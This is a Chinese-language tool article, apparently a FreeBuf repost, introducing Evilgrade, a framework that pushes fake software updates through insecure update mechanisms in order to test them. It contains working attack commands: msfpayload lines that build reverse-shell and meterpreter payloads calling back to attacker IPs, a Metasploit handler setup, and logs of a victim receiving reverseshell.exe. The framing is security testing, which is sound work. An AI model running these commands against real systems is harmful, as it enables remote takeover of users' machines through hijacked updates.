前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >如何使用Evilgrade测试应用程序的升级机制是否安全

如何使用Evilgrade测试应用程序的升级机制是否安全

作者头像
FB客服
发布2023-03-29 15:57:00
6700
发布2023-03-29 15:57:00
举报
文章被收录于专栏:FreeBuf

 关于Evilgrade 

Evilgrade是一款功能强大的模块化框架,该框架允许广大研究人员通过向目标应用程序注入伪造的更新代码,并利用存在安全问题的更新实现机制来测试目标升级更新功能的安全性。该工具提供了预构建的代理以及支持快速测试的默认工作配置。除此之外,该工具还拥有自己的WebServer和DNSServer模块。

 工具使用场景 

内部场景

1、内部DNS访问; 2、ARP欺骗; 3、DNS缓存投毒; 4、DHCP欺骗; 5、TCP劫持; 6、Wi-Fi访问点伪造;

外部场景

1、内部DNS访问; 2、DNS缓存投毒;

实现的模块

Freerip 3.30 Jet photo 4.7.2 Teamviewer 5.1.9385 ISOpen 4.5.0 Istat. Gom 2.1.25.5015 Atube catcher 1.0.300 Vidbox 7.5 Ccleaner 2.30.1130 Fcleaner 1.2.9.409 Allmynotes 1.26 Notepad++ 5.8.2 Java 1.6.0_22 winxp/win7 aMSN 0.98.3 Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675) Mirc 7.14 Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702) Dap 9.5.0.3 Winscp 4.2.9 AutoIt Script 3.3.6.1 Clamwin 0.96.0.1 AppTapp Installer 3.11 (Iphone/Itunes) getjar (facebook.com) Google Analytics Javascript injection Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8 Winamp 5.581 TechTracker (cnet) 1.3.1 (Build 55) Nokiasoftware firmware update 2.4.8es Nokia firmware v20.2.011 BSplayer 2.53.1034 Apt ( < Ubuntu 10.04 LTS) Ubertwitter 4.6 (0.971) Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45 Cpan 1.9402 VirtualBox (3.2.8 ) Express talk Filezilla Flashget Miranda Orbit Photoscape. Panda Antirootkit Skype Sunbelt Superantispyware Trillian <= 5.0.0.26 Adium 1.3.10 (Sparkle Framework) VMware ...

 工具下载 

广大研究人员可以使用下列命令将该项目源码克隆至本地:

代码语言:javascript
复制
git clone https://github.com/infobyte/evilgrade.git

(向右滑动,查看更多)

 工具使用 

下面给出的是工具的帮助信息:

代码语言:javascript
复制
evilgrade>helpType 'help command' for more detailed help on a command.  Commands:    configure -  配置模块名称    exit      -  退出程序    help      -  输出工具帮助信息    reload    -  重新加载并更新所有模块    restart   -   重启Web服务器    set       -  配置变量    show      - 显示对象信息    start     -  开启Web服务器    status    -  获取Web服务器窗台    stop      -  停止Web服务器    version   -  显示框架版本  Object:     options  -  显示当前模块的选项     vhosts   -  显示当前模块的VirtualHosts     modules  -  列举所有可用的模块     active   -  显示活动模块

(向右滑动,查看更多)

列举实现的模块:

代码语言:javascript
复制
evilgrade>show modulesList of modules:===============.........- 63 modules available.

配置指定模块:

代码语言:javascript
复制
evilgrade>conf sunjavaevilgrade(sunjava)>
代码语言:javascript
复制

开启服务(DNS服务器和WebServer):

代码语言:javascript
复制
evilgrade>startevilgrade>[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...evilgrade>[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...#### Waiting for victimsevilgrade>[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"evilgrade>[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"evilgrade>[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"evilgrade>[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"

(向右滑动,查看更多)

代码语言:javascript
复制

显示状态和日志:

代码语言:javascript
复制
evilgrade>show statusWebserver (pid 4134) already runningUsers status:============.---------------------------------------------------------------------------------------------------------------.| Client         | Module           | Status | Md5,Cmd,File                                                     |+----------------+------------------+--------+------------------------------------------------------------------+| 192.168.233.10 | modules::sunjava | send   | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe"   |'----------------+------------------+--------+------------------------------------------------------------------'

(向右滑动,查看更多)

 工具高级使用 

使用场景一

代码语言:javascript
复制
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'

(向右滑动,查看更多)

在这种情况下,对于每个所需的更新二进制文件,我们都可以使用 "windows/shell_reverse_tcp"这个Payload来生成伪造的更新代码,同时使用一个反向Shell连接到192.168.233.2:4141。<%OUT%><%OUT>标签专门来检测输出二进制文件的生成位置。

比如说,如果我们运行下列命令:

代码语言:javascript
复制
evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'

(向右滑动,查看更多)

那么每当我们收到一个二进制请求时,Evilgrade将编译该行并执行最终字符串"./generatebin -o /tmp/update(random).exe",然后生成不同的代理。

使用场景二

在Evilgrade外运行:

代码语言:javascript
复制
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe

(向右滑动,查看更多)

代码语言:javascript
复制

在Evilgrade内运行:

代码语言:javascript
复制
evilgrade(sunjava)>set agent /tmp/reverse-shell.exe

(向右滑动,查看更多)

生成好Payload之后,我们将得到多个处理器Handler来监听之前分配的LHOST:

代码语言:javascript
复制
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E[*] Started reverse handler on 192.168.100.2:4444[*] Starting the payload handler...

(向右滑动,查看更多)

 项目地址 

Evilgrade

https://github.com/infobyte/evilgrade

参考资料:

http://www.faradaysec.com/

精彩推荐

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2023-03-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  •  关于Evilgrade 
  •  工具使用场景 
    • 内部场景
      • 外部场景
      • 实现的模块
      •  工具下载 
      • (向右滑动,查看更多)
      •  工具使用 
      • (向右滑动,查看更多)
      • (向右滑动,查看更多)
      • (向右滑动,查看更多)
      •  工具高级使用 
        • 使用场景一
        • (向右滑动,查看更多)
        • (向右滑动,查看更多)
          • 使用场景二
          • (向右滑动,查看更多)
          • (向右滑动,查看更多)
          • (向右滑动,查看更多)
          •  项目地址 
          • 参考资料:
          相关产品与服务
          腾讯云服务器利旧
          云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档